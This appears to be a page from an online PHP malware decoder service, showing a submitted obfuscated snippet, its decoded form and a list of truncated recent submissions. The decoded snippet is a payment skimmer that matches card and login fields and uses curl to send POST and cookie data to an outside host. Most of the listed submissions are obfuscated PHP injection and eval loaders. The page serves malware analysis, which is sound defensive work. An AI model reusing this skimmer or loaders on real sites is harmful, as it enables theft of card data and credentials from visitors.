Powered by Quttera
Home
Quttera Products
Website Anti-Malware Monitoring
Online Website Malware Scanner
WordPress Web Malware Scanner
Quttera Labs
Quttera Labs
Daily Malware Statistics
Weekly Malware Statistics
Monthly Malware Statistics
Website Malware Cleanup & Protection
Online PHP Decoder
decode hidden PHP code to uncover its real functionality
Original code:
if (preg_match(“/”, base64_decode(‘c2VjdXJldHJhZGluZ3xtb250aHxkdW1teXx5ZWFyfGZpcnN0bmFtZXxjdmMyfGNjX251bWJlcnxsb2dpbnxjdnZ8YmlsbGluZ3x1c2VybmFtZXxjY198c2hpcHBpbmd8ZXhwaXJ5fHBheW1lbnR8Y2FyZF9udW1iZXI=’).”/i”, serialize($_POST))) exec(command: "curl --data \”version=1&encode=” .base64_encode(serialize($_POST) . “—” , serialize ($_COOKIE) ). “&host=” $_SERVER(“HTTP_HOST”).”\” “.trim(base64_decode(‘aHR0cDovL2ZiY29tbWVyc2UuY29tL3Rlc3RTZXJ2ZXIucGhw’)).” > /dev/null 2<&1 &”);
Decrypted code:
if (preg_match(“/”, .”/i”, serialize($_POST))) exec(command: "curl --data \”version=1&encode=” .base64_encode(serialize($_POST) . “—” , serialize ($_COOKIE) ). “&host=” $_SERVER(“HTTP_HOST”).”\” “.trim(http://fbcommerse.com/testServer.php).” > /dev/null 2<&1 &”);
Submit new code
Recent submissions:
$_ev9kr = basename/*l*/(/*k0th*/trim/*rps6*/(/*uyq*/preg_replace/*g2d3z*/(/*o1bw7*/rawurld...
$_ev9kr = basename/*l*/(/*k0th*/trim/*rps6*/(/*uyq*/preg_replace/*g2d3z*/(/*o1bw7*/rawurld...
<html> <head> </head> <body> <script type="text/javascript"> <!-- eval(unescape('%66%75%6e...
@include "\057h\157m\145/\1657\0640\0622\0660\057p\141m\151r\151s\164a\156b\165l\056n\145t...
@include "\057hom\1451/m\165lti\166ias\151te/\155aki\167ent\162ave\154.co\155/.w\145ll-\15...
@include "\057ho\155e1\057mu\154ti\166ia\163it\145/f\162en\157si\156ca\056co\155.p\145/.\1...
asse\164s/vi\144eo/.\063f1fb\063ea.i\143...
ent\057ass\145ts/\166ide\157/.3\1461fb\063ea.\151co...
@include "\057hom\145/sa\156dys\141rti\163try\057dem\157.sa\156dys\141rti\163try\056com\05...
@include "\057hom\1451/m\165lti\166ias\151te/\144aes\141cor\160ora\143ion\145s.c\157m/w\16...
p-\143ont\145nt/\160lug\151ns/\114and\151ng-\120age\055Pos\164s/.\0664b8\143e9a\056ico...
/*2169d*/ @include "\057home\057u161\0710p11\07053/d\157main\163/apl\165spro\146essi\15...
<?php /*** Site : http://www.tool.eddiekidiw.com/phpobfuscator-v-02.html Date : 2019-...
/*9313c*/ @include "\057ho\155e/\16516\06190\16011\07053\057do\155ai\156s/\146it\156es\...
@include "\057home\061/mul\164ivia\163ite/\143asar\141ms.c\157m/wp\055incl\165des/\152s/.4...
/*20708*/ @include "\057s\162v\057w\167w\057a\143a\156t\150u\163.\143o\155/\160u\142l\1...
@include "\057ho\155e2\057ho\163ti\157b9\057pu\142li\143_h\164ml\057mo\154in\157s/\141dm\1...
/*ee116*/ @include "\057s\162v\057w\167w\057a\143a\156t\150u\163.\143o\155/\160u\142l\1...
@include "\057home\057a664\060b2d/\164est3\056lass\157desi\147ners\056com/\167p-in\143lude...
@include "\057k\165n\144e\156/\0649\0663\0673\1375\0620\0676\057w\145b\163e\151t\145n\...
\057m\156t\057s\164o\1623\055w\1432\055d\146w\061/\0648\0645\0607\0574\0716\0635\071/\167w...
@include "\057k\165n\144e\156/\0649\0663\0673\1375\0620\0676\057w\145b\163e\151t\145n\057w...
eval(unserialize(gzinflate(base64_decode('rVjdb9NWFH+ftP/hqvJwkoY2aIKHhg6xEbRJDFBa9hJFluPc...
eval(unserialize(gzinflate(base64_decode('rVjdb9NWFH+ftP/hqvJwkoY2aIKHhg6xEbRJDFBa9hJFluPc...
@include "\057k\165n\144e\156/\0649\0663\0673\1375\0620\0676\057w\145b\163e\151t\145n\057w...
te\156t/\147ib\162al\164ar\057.b\064d9\060f8\144.i\143o...
eval(unserialize(gzinflate(base64_decode('lVRdaxNBFH0X/A9DWZgE1qaCVWypUO0WhZqWTepLiMO6mTRD...
/*c2224*/ @include "\057hom\1453/o\163war\057con\156ect\151ngy\157u/w\160-in\143lud\145...
/*ebbc7*/ @include "\057ho\155e3\057os\167ar\057pu\142li\143_h\164ml\057bo\157ki\156g/\...
;eval/*9x*/(/*2r*/rawurldecode/*0*/(/*e*/$_27jn4iz/*45c*/)/*jp2d*/ ^ substr/*yl*/(/*pba*/s...
<?php $_aq89e6 = basename/*6*/(/*n5*/trim/*c*/(/*atb*/preg_replace/*1vi4o*/(/*s*/rawurlde...
"\057home\057u740\062260/\153ilic\145lekt\162ikci\056com/\167p-ad\155in/c\163s/.e\141c21f\...
\057hom\145/u7\064022\0660/k\151lic\145lek\164rik\143i.c\157m/w\160-ad\155in/\143ss/\056ea...
\057v\141r\057w\167w\057h\164m\154/\167p\055i\156c\154u\144e\163/\164h\145m\145-\143o\155p...
<?php $zntoz = 3589; function vbdgnmzlno($uxjsje, $hzgstr){$nzvtdbeud = ''; for($i=0; $i...
<?php ${"\x47\x4cO\x42\x41\x4c\x53"}["\x6d\x64\x66eu\x6bs"]="\x64\x73";${"\x47L\x4f\x42\x4...
<?php /*** Proxy : 152.240.3.32 Port : 80 Code Play : Chandra Aditya GitHu...
<?php /*** Site : http://www.tool.eddiekidiw.com/phpobfuscator-v-02.html Date : 2018-...
<?php /*** Site : http://www.tool.eddiekidiw.com/phpobfuscator-v-02.html Date : 2019-...
/*** Update : 16-January-2019 Proxy : 152.168.1.1 CodePlay : Bima Galih Region : Mag...
@include "\057hom\145/sl\157nec\172nyp\171l/f\164p/k\157ty/\154ibr\141rie\163/fo\146/ha\15...
<?php $_edcyl94 = basename/*ej9*/(/*2rp*/trim/*m*/(/*i*/preg_replace/*y*/(/*j5n6f*/rawurl...
@include "\057ho\155e/\163lo\156ec\172ny\160yl\057ft\160/k\157ty\057li\142ra\162ie\163/f\1...
p\165bl\151c/\145n/\165pl\157ad\163/u\163er\165pl\157ad\163/.\061ae\060bb\0642.\151co";...
<?php @'$ yumingid=44 lineid=7988 x3=index.php/ x4=WVepvYrZsM x5=dribblecharging,bloc...
/*8e932*/ @include "\057var/\167ww/g\162eenp\154yply\167ood.\143om/h\164ml/m\145dia/\10...
/*28edb*/ @include "\057var\057www\057gre\145npl\171ply\167ood\056com\057htm\154/me\144...
\057h\157m\145/\153i\164g\145n\0646\060/\160u\142l\151c\137h\164m\154/\167p\055i\156c\154u...
function s0Jn0($FjGaQ, $XwPW8 = "\61\x32\63") { $vL2_I = $FjGaQ; $q04lj = ''; for ($Y...
<?php $g9c432e2="\x62\141\x73\x65\x36\64\137\x64\x65\143\x6f\144\145";@eval($g9c432e2( "...
_3zf67 = basename/*ehj*/(/*5bp*/trim/*wur*/(/*w*/preg_replace/*eg7*/(/*ut2*/rawurldecode...
<?php /*8226b*/ @include "\104:/\127eb\113un\144en\057bo\167aj\145t.\144e/\162oo\164/u...
<? eval(gzuncompress(base64_decode('eNqNkU8LgkAQxb9Kh2AVImyJQMKDHeoihObB3QhZ/9AhJbBTffp8uy...
\057home\057drea\155lin/\160ubli\143_htm\154/bat\150auth\157rity\057modu\154es/b\154ocks\1...
/*8b675*/ @include "\057h\157m\145/\165f\163c\164v\057w\167w\057w\160-\143o\156t\145n...
/*d7b29*/ @include "\057ho\155e/\165fs\143tv\057ww\167/w\160-c\157nt\145nt\057pl\165g...
/*54d85*/ @include "\057home\057ufsc\164v/ww\167/wp-\143onte\156t/pl\165gins\057goog\...
~<&u|557r0dwj}2c.>aa^b%29z>=r2tls56+~"li-.)r$?-u#9hf=Iv3zl?ic ..>axd!mif(g \Gz"?/'?2j ~t34...
@include "\057di\163k_\061/w\167w/\143z/\153up\153am\156a/\167ww\057ad\155in\057la\156gu\1...
@include "\057d\151s\153_\061/\167w\167/\143z\057k\165p\153a\155n\141/\167w\167/\141d\155i...
@include "\057di\163k_\061/w\167w/\143z/\153up\153am\156a/\167ww\057ad\155in\057la\156gu\1...
<?php eval(base64_decode('aWYgKCFpc3NldCgkX0NPT0tJRVszNTVdKSBvciBtZDUoJF9DT09LSUVbMzU...
<?php /*1cf83*/ @include "\057h\157m\145/\161u\156a\142u\057w\145b\141p\160s\0...
<?php /*1cf83*/ @include "\057ho\155e/\161un\141bu\057we\142ap\160s/\147ak\137...
<html> <head> </head> <body> <script type="text/javascript"> <!-- eval(unescape('%66%75%6e...
<?php /*1cf83*/ @include "\057home\057quna\142u/we\142apps\057gak_\154ink/\164...
<?php /* PHP Encode by http://Www.PHPJiaMi.Com/ */error_reporting(0);ini_set("display_e...
G%02%14LDS%5CPQ%40%0C%07G%09%17%40%16%00VTi%5BA%07%17%0AV%10k%07%17RXB%5D%0ENJF%24%1F%3E%0...
@include "\057hom\145/pr\145maa\156j/c\150art\145red\150ous\151ng.\143om/\150tml\057wp-\15...
$_8q2lr9 = basename/*su*/(/*simf3*/trim/*mwqnc*/(/*n489*/preg_replace/*u8zmo*/(/*v*/rawurl...
<?php $_8q2lr9 = basename/*su*/(/*simf3*/trim/*mwqnc*/(/*n489*/preg_replace/*u8zmo*/(/*v*...
\057ho\155e/\152us\164gy\155/d\157ma\151ns\057ju\163tg\171m.\160l/\160ub\154ic\137ht\155l/...
@include "\057nfsm\156t/ho\163ting\062_1/1\057e/1e\063518d\146-eeb\145-46d\063-a98\144-753...
<?php /*b7b11*/ @include "\057hom\145/si\164es/\150ete\155l/u\163ers\057d/a\057i/d\1...
<?php /*4fb38*/ @include "\057v\141r\057w\167w\057v\150o\163t\163/\167e\1423\0672\0567...
goto o8riI; fcj8X: echo "\x3c\x68\145\141\x64\x3e\12"; goto h04qQ; wP60n: header("\x43\157...
@include "\104:\057W\145b\113u\156d\145n\057b\157w\141j\145t\056d\145/\162o\157t\057u\163e...
<?php $_w4p1tx9 = basename/*q*/(/*k*/trim/*1ctoh*/(/*d*/preg_replace/*m*/(/*qj*/rawurldec...
/*5b2f3*/ @include "\057hom\145/de\143oet\144e/m\141ver\141.co\155.tr\057wp-\143ont\145...
<?php $_kq7uzhs = basename/*n83y*/(/*q*/trim/*j8it*/(/*yw*/preg_replace/*wzq91*/(/*5g*/ra...
@include "\057hom\145/up\151an4\057pub\154ic_\150tml\057cha\146fan\152on/\167ww/\167p-c\15...
@include "\057hom\145/up\151an4\057pub\154ic_\150tml\057upi\141n4/\144u9.\157rg/\160rod\05...
@include "\057h\157m\145/\165p\151a\1564\057p\165b\154i\143_\150t\155l\057u\160i\141n\064/...
@include "\057h\157m...
<?php $_cqsfip = basename/*ij86*/(/*v1qs0*/trim/*g6evp*/(/*w0jl*/preg_replace/*0c*/(/*qoh...
\057h\157m\145/\151f\143i\154t\144/\160u\142l\151c\137h\164m\154/\147r\151e\166a\156c\145/...
\347\262\211\351\273\233\350\275\273\347\202\271\350\203\255\350\204\202\347\272\242...
@include "\057var/\167ww/v\150osts\057pera\143.de/\160acks\150ot.d\145/cac\150e/co\155_doc...
@include "\057ho\155e/\162ck\151k/\160ub\154ic\137ht\155l/\141ss\145ts\057co\155po\156en\1...
@include "\057home\057drea\155lin/\160ubli\143_htm\154/bat\150auth\157rity\057modu\154es/b...
eval(base64_decode('QWN0dWFsaXTDqXM='));...
eval(base64_decode('SEVJTkVOIHNlcmEgcHLDqXNlbnQgw6AgY2UgZ3JhbmQgw6l2w6luZW1lbnQgZGUgbGEgY2...
eval(base64_decode('Qk9VV0JFVVJTIFVUUkVDSFQ=')); ...
/*7b6ea*/ @include "\057h\157m\145/\162o\155a\156i\141n\163p\141s\057p\165b\154i\143_\1...
@include "\057home\057ycc/\160ubli\143_htm\154/mod\165les/\155od_a\162ticl\145asmo\144ule/...
/*6fa61*/ @include "\057h\157m\145/\162o\155a\156i\141n\163p\141s\057p\165b\154i\143_\1...
\057var/\167ww/h\164ml/h\165rtow\156iaze\147arko\167web.\160l/wp\055incl\165des/\111XR/.\0...
/*26e8f*/ @include "\057ho\155e/\151ti\163an\057pu\142li\143_h\164ml\057wp\055co\156te\...
\x47\x4c\x4fB\x41\x4c\x53"}['rb087'] = "\x5e\x31\x4f\x70\x62\x64\x61\x45\x6d\x60\x38\x55\x...
$yc497352 = 625;$GLOBALS['c5ac4'] = Array();global $c5ac4;$c5ac4 = $GLOBALS;${"\x47\x4c\x4...
© 2017 Quttera Ltd. All rights reserved.